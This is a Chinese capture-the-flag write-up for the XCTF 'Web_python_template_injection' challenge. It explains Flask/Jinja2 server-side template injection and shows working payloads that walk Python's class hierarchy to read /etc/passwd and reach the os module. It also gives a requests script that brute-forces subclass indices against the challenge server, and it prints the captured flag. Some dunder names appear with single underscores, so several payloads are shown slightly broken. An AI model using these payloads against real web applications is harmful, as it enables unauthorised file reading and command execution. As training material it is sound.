攻防世界-Web_python_template_injection题

flask基础


SSTI:服务器端模板注入(Server-Side Template Injection)

不正确的使用flask中的render_template_string方法会引发SSTI。

SSTI文件读取/命令执行


在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

思路:找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块。

_class_ 返回类型所属的对象

_mro_ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

_base_ 返回该对象所继承的基类

_base_ 和 _mro_ 都是用来寻找基类的_

_subclasses_ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

_init_ 类的初始化方法

_globals_ 对包含函数全局变量的字典的引用

1、查找字符串的类对象

>>>[]._class_

攻防世界-Web_python_template_injection题

2、寻找基类

>>>[]._class_._mro_

攻防世界-Web_python_template_injection题

3、寻找可用引用

>>>[]._class_._mro_._subclasses_()

攻防世界-Web_python_template_injection题

4、利用可用引用

>>>[]._class_._mro_._subclasses_()[40]("/etc/passwd").read()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHIyw5jH-1637203939287)(https://i.loli.net/2021/11/18/lwLd9IxK2Xo18Ym.png)]

搜索os模块所在的类,并利用os模块
搜索os模块的脚本:

import requests
for i in range(0, 100):
    url = "http://111.200.241.244:50349/%7B%7B''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__.__globals__%7D%7D"
    html = requests.get(url)
    html.encoding = 'utf-8'
    if 'os' in html.text:
        print('os:' + str(i))
        break
    else:
        print(str(i) + '---')


>>>{{[]._class_._mro_[1]._subclasses_()[71]._init_._globals_[“os”].listdir(".")}}/?

攻防世界-Web_python_template_injection题

查看fl4g文件

>>>{{[]._class_._mro_[1]._subclasses_()[40](“fl4g”).read()

攻防世界-Web_python_template_injection题

成功获得flag! ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

参考文章:从零学习flask模板注入 - FreeBuf网络安全行业门户

上一篇:Vue 注册一个全局组件(一定要看哈)


下一篇:5.组件初使用